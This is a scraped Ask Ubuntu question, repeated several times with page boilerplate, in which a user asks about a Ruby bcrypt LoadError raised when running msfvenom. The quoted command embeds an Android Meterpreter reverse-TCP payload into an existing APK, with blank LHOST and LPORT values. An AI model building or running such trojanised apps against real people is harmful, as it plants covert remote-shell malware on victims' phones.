Problem with msfvenom command











up vote
1
down vote

favorite












I came across this problem while typing the command



msfvenom -x "file.apk" -p android/meterpreter/reverse_tcp LHOST ="" LPORT ="" -o "newfile.apk""


Does anyone know something about that?

I get the following error:




Traceback (most recent call last): 21: from
/usr/local/bin/msfvenom:441:in <main>' 20: from
/usr/local/bin/msfvenom:55:in
framework' 19: from
/usr/local/bin/msfvenom:36:in init_framework' 18: from
/usr/local/bin/msfvenom:18:in
require_deps' 17: from
/usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in
require' 16: from
/usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in
require' 15: from /opt/metasploit-framework/lib/msfenv.rb:18:in
<top (required)>' 14: from
/opt/metasploit-framework/lib/msfenv.rb:18:in
require' 13: from
/opt/metasploit-framework/config/environment.rb:2:in <top
(required)>' 12: from
/opt/metasploit-framework/config/environment.rb:2:in
require' 11:
from /opt/metasploit-framework/config/application.rb:10:in <top
(required)>' 10: from
/home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler.rb:114:in
require' 9: from
/home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:65:in
require' 8: from
/home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:65:in
each' 7: from
/home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:72:in
block in require' 6: from
/home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:95:in
rescue in block in require' 5: from
/home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:95:in
require' 4: from
/opt/metasploit-framework/lib/metasploit/framework.rb:9:in
' 3: from
/opt/metasploit-framework/lib/metasploit/framework.rb:9:in require'

2: from
/home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bcrypt-3.1.12/lib/bcrypt.rb:12:in
' 1: from
/home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bcrypt-3.1.12/lib/bcrypt.rb:16:in
rescue in <top (required)>'
/home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bcrypt-3.1.12/lib/bcrypt.rb:16:in
require': incompatible library version -
/home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bcrypt-3.1.12/lib/bcrypt_ext.so
(LoadError)











share|improve this question




























    up vote
    1
    down vote

    favorite












    I came across this problem while typing the command



    msfvenom -x "file.apk" -p android/meterpreter/reverse_tcp LHOST ="" LPORT ="" -o "newfile.apk""


    Does anyone know something about that?

    I get the following error:




    Traceback (most recent call last): 21: from
    /usr/local/bin/msfvenom:441:in <main>' 20: from
    /usr/local/bin/msfvenom:55:in
    framework' 19: from
    /usr/local/bin/msfvenom:36:in init_framework' 18: from
    /usr/local/bin/msfvenom:18:in
    require_deps' 17: from
    /usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in
    require' 16: from
    /usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in
    require' 15: from /opt/metasploit-framework/lib/msfenv.rb:18:in
    <top (required)>' 14: from
    /opt/metasploit-framework/lib/msfenv.rb:18:in
    require' 13: from
    /opt/metasploit-framework/config/environment.rb:2:in <top
    (required)>' 12: from
    /opt/metasploit-framework/config/environment.rb:2:in
    require' 11:
    from /opt/metasploit-framework/config/application.rb:10:in <top
    (required)>' 10: from
    /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler.rb:114:in
    require' 9: from
    /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:65:in
    require' 8: from
    /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:65:in
    each' 7: from
    /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:72:in
    block in require' 6: from
    /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:95:in
    rescue in block in require' 5: from
    /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:95:in
    require' 4: from
    /opt/metasploit-framework/lib/metasploit/framework.rb:9:in
    ' 3: from
    /opt/metasploit-framework/lib/metasploit/framework.rb:9:in require'

    2: from
    /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bcrypt-3.1.12/lib/bcrypt.rb:12:in
    ' 1: from
    /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bcrypt-3.1.12/lib/bcrypt.rb:16:in
    rescue in <top (required)>'
    /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bcrypt-3.1.12/lib/bcrypt.rb:16:in
    require': incompatible library version -
    /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bcrypt-3.1.12/lib/bcrypt_ext.so
    (LoadError)











    share|improve this question


























      up vote
      1
      down vote

      favorite









      up vote
      1
      down vote

      favorite











      I came across this problem while typing the command



      msfvenom -x "file.apk" -p android/meterpreter/reverse_tcp LHOST ="" LPORT ="" -o "newfile.apk""


      Does anyone know something about that?

      I get the following error:




      Traceback (most recent call last): 21: from
      /usr/local/bin/msfvenom:441:in <main>' 20: from
      /usr/local/bin/msfvenom:55:in
      framework' 19: from
      /usr/local/bin/msfvenom:36:in init_framework' 18: from
      /usr/local/bin/msfvenom:18:in
      require_deps' 17: from
      /usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in
      require' 16: from
      /usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in
      require' 15: from /opt/metasploit-framework/lib/msfenv.rb:18:in
      <top (required)>' 14: from
      /opt/metasploit-framework/lib/msfenv.rb:18:in
      require' 13: from
      /opt/metasploit-framework/config/environment.rb:2:in <top
      (required)>' 12: from
      /opt/metasploit-framework/config/environment.rb:2:in
      require' 11:
      from /opt/metasploit-framework/config/application.rb:10:in <top
      (required)>' 10: from
      /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler.rb:114:in
      require' 9: from
      /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:65:in
      require' 8: from
      /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:65:in
      each' 7: from
      /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:72:in
      block in require' 6: from
      /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:95:in
      rescue in block in require' 5: from
      /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:95:in
      require' 4: from
      /opt/metasploit-framework/lib/metasploit/framework.rb:9:in
      ' 3: from
      /opt/metasploit-framework/lib/metasploit/framework.rb:9:in require'

      2: from
      /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bcrypt-3.1.12/lib/bcrypt.rb:12:in
      ' 1: from
      /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bcrypt-3.1.12/lib/bcrypt.rb:16:in
      rescue in <top (required)>'
      /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bcrypt-3.1.12/lib/bcrypt.rb:16:in
      require': incompatible library version -
      /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bcrypt-3.1.12/lib/bcrypt_ext.so
      (LoadError)











      share|improve this question















      I came across this problem while typing the command



      msfvenom -x "file.apk" -p android/meterpreter/reverse_tcp LHOST ="" LPORT ="" -o "newfile.apk""


      Does anyone know something about that?

      I get the following error:




      Traceback (most recent call last): 21: from
      /usr/local/bin/msfvenom:441:in <main>' 20: from
      /usr/local/bin/msfvenom:55:in
      framework' 19: from
      /usr/local/bin/msfvenom:36:in init_framework' 18: from
      /usr/local/bin/msfvenom:18:in
      require_deps' 17: from
      /usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in
      require' 16: from
      /usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in
      require' 15: from /opt/metasploit-framework/lib/msfenv.rb:18:in
      <top (required)>' 14: from
      /opt/metasploit-framework/lib/msfenv.rb:18:in
      require' 13: from
      /opt/metasploit-framework/config/environment.rb:2:in <top
      (required)>' 12: from
      /opt/metasploit-framework/config/environment.rb:2:in
      require' 11:
      from /opt/metasploit-framework/config/application.rb:10:in <top
      (required)>' 10: from
      /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler.rb:114:in
      require' 9: from
      /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:65:in
      require' 8: from
      /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:65:in
      each' 7: from
      /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:72:in
      block in require' 6: from
      /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:95:in
      rescue in block in require' 5: from
      /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bundler-1.17.1/lib/bundler/runtime.rb:95:in
      require' 4: from
      /opt/metasploit-framework/lib/metasploit/framework.rb:9:in
      ' 3: from
      /opt/metasploit-framework/lib/metasploit/framework.rb:9:in require'

      2: from
      /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bcrypt-3.1.12/lib/bcrypt.rb:12:in
      ' 1: from
      /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bcrypt-3.1.12/lib/bcrypt.rb:16:in
      rescue in <top (required)>'
      /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bcrypt-3.1.12/lib/bcrypt.rb:16:in
      require': incompatible library version -
      /home/ubuntu/.rvm/gems/ruby-2.5.1@metasploit-framework/gems/bcrypt-3.1.12/lib/bcrypt_ext.so
      (LoadError)








      metasploit






      share|improve this question















      share|improve this question













      share|improve this question




      share|improve this question








      edited Nov 29 at 8:11









      zx485

      1,45231114




      1,45231114










      asked Nov 28 at 20:56









      Patturio

      61




      61



























          active

          oldest

          votes











          Your Answer








          StackExchange.ready(function() {
          var channelOptions = {
          tags: "".split(" "),
          id: "89"
          };
          initTagRenderer("".split(" "), "".split(" "), channelOptions);

          StackExchange.using("externalEditor", function() {
          // Have to fire editor after snippets, if snippets enabled
          if (StackExchange.settings.snippets.snippetsEnabled) {
          StackExchange.using("snippets", function() {
          createEditor();
          });
          }
          else {
          createEditor();
          }
          });

          function createEditor() {
          StackExchange.prepareEditor({
          heartbeatType: 'answer',
          convertImagesToLinks: true,
          noModals: true,
          showLowRepImageUploadWarning: true,
          reputationToPostImages: 10,
          bindNavPrevention: true,
          postfix: "",
          imageUploader: {
          brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
          contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
          allowUrls: true
          },
          onDemand: true,
          discardSelector: ".discard-answer"
          ,immediatelyShowMarkdownHelp:true
          });


          }
          });














          draft saved

          draft discarded


















          StackExchange.ready(
          function () {
          StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2faskubuntu.com%2fquestions%2f1096929%2fproblem-with-msfvenom-command%23new-answer', 'question_page');
          }
          );

          Post as a guest















          Required, but never shown






























          active

          oldest

          votes













          active

          oldest

          votes









          active

          oldest

          votes






          active

          oldest

          votes
















          draft saved

          draft discarded




















































          Thanks for contributing an answer to Ask Ubuntu!


          • Please be sure to answer the question. Provide details and share your research!

          But avoid



          • Asking for help, clarification, or responding to other answers.

          • Making statements based on opinion; back them up with references or personal experience.


          To learn more, see our tips on writing great answers.





          Some of your past answers have not been well-received, and you're in danger of being blocked from answering.


          Please pay close attention to the following guidance:


          • Please be sure to answer the question. Provide details and share your research!

          But avoid



          • Asking for help, clarification, or responding to other answers.

          • Making statements based on opinion; back them up with references or personal experience.


          To learn more, see our tips on writing great answers.




          draft saved


          draft discarded














          StackExchange.ready(
          function () {
          StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2faskubuntu.com%2fquestions%2f1096929%2fproblem-with-msfvenom-command%23new-answer', 'question_page');
          }
          );

          Post as a guest















          Required, but never shown





















































          Required, but never shown














          Required, but never shown












          Required, but never shown







          Required, but never shown

































          Required, but never shown














          Required, but never shown












          Required, but never shown







          Required, but never shown







          Popular posts from this blog

          Quarter-circle Tiles

          build a pushdown automaton that recognizes the reverse language of a given pushdown automaton?

          Mont Emei